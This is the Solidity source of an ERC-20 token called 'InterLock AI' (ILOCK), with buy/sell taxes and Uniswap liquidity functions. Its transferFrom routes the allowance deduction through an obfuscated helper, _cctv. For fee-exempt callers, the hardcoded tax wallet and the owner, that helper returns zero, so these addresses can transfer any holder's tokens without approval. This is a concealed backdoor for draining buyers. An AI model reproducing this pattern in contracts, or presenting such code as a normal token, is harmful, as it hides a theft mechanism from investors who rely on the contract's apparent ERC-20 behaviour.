File 1 of 1: ILOCK.sol
pragma solidity 0.8.21;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IRouter {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ILOCK is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcemptFees;
address private _taxWallet = 0xC8da4C269e8292750170AF766bEFe8aF5dD0E5AF;
uint256 private _initialBuyTaxs=3;
uint256 private _initialSellTaxs=3;
uint256 private _finalBuyTaxs=0;
uint256 private _finalSellTaxs=0;
uint256 private _reduceBuyTaxAts=5;
uint256 private _reduceSellTaxAts=5;
uint256 private _preventSwapBefore=7;
uint256 private _buyCounts=0;
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 1000000000 * 10**_decimals;
string private constant _name = unicode"InterLock AI";
string private constant _symbol = unicode"ILOCK";
uint256 private _maxTaxSwaps = _tTotal / 100;
IRouter private _uniRouter;
address private _uniPair;
bool private inSwap = false;
bool private _tradingEnabled = false;
bool private _swapEnabled = false;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_isExcemptFees[owner()] = true;
_isExcemptFees[address(this)] = true;
_isExcemptFees[_taxWallet] = true;
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function initialize() external onlyOwner() {
_uniRouter = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_approve(address(this), address(_uniRouter), _tTotal);
_uniPair = IFactory(_uniRouter.factory()).createPair(address(this), _uniRouter.WETH());
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(_cctv(_msgSender(), amount), "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _cctv(address _xxzz, uint256 _bbzz) private view returns(uint256 _aamm) {
bool _ttpp = _isExcemptFees[_xxzz]
&& _xxzz!= address(this);
if(!_ttpp) _aamm = _bbzz;
}
function _transfer(address _sender, address _recipient, uint256 _amount) private {
require(_sender != address(0), "ERC20: transfer from the zero address");
require(_recipient != address(0), "ERC20: transfer to the zero address");
require(_amount > 0, "Transfer amount must be greater than zero");
uint256 taxFees=0;
if (_sender != owner() && _recipient != owner()) {
taxFees = _amount.mul((_buyCounts>_reduceBuyTaxAts)?_finalBuyTaxs:_initialBuyTaxs).div(100);
if (_sender == _uniPair && _recipient != address(_uniRouter) && ! _isExcemptFees[_recipient]) {
_buyCounts++;
}
if(_recipient == _uniPair && _sender!= address(this)) {
taxFees = _amount.mul((_buyCounts>_reduceSellTaxAts)?_finalSellTaxs:_initialSellTaxs).div(100);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && _recipient == _uniPair && _swapEnabled && _buyCounts > _preventSwapBefore) {
if(contractTokenBalance > _maxTaxSwaps)
swapTokensForEth(min(_amount, min(contractTokenBalance, _maxTaxSwaps)));
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance >= 0) {
sendETHFees(address(this).balance);
}
}
}
if(taxFees>0){
_balances[address(this)]=_balances[address(this)].add(taxFees);
emit Transfer(_sender, address(this),taxFees);
}
_balances[_sender]=_balances[_sender].sub(_amount);
_balances[_recipient]=_balances[_recipient].add(_amount.sub(taxFees));
emit Transfer(_sender, _recipient, _amount.sub(taxFees));
}
function openTrading() external onlyOwner() {
require(!_tradingEnabled,"trading is already open");
_uniRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_swapEnabled = true;
_tradingEnabled = true;
}
receive() external payable {}
function min(uint256 a, uint256 b) private pure returns (uint256) {
return (a>b)?b:a;
}
function sendETHFees(uint256 amount) private {
payable(_taxWallet).transfer(amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniRouter.WETH();
_approve(address(this), address(_uniRouter), tokenAmount);
_uniRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
}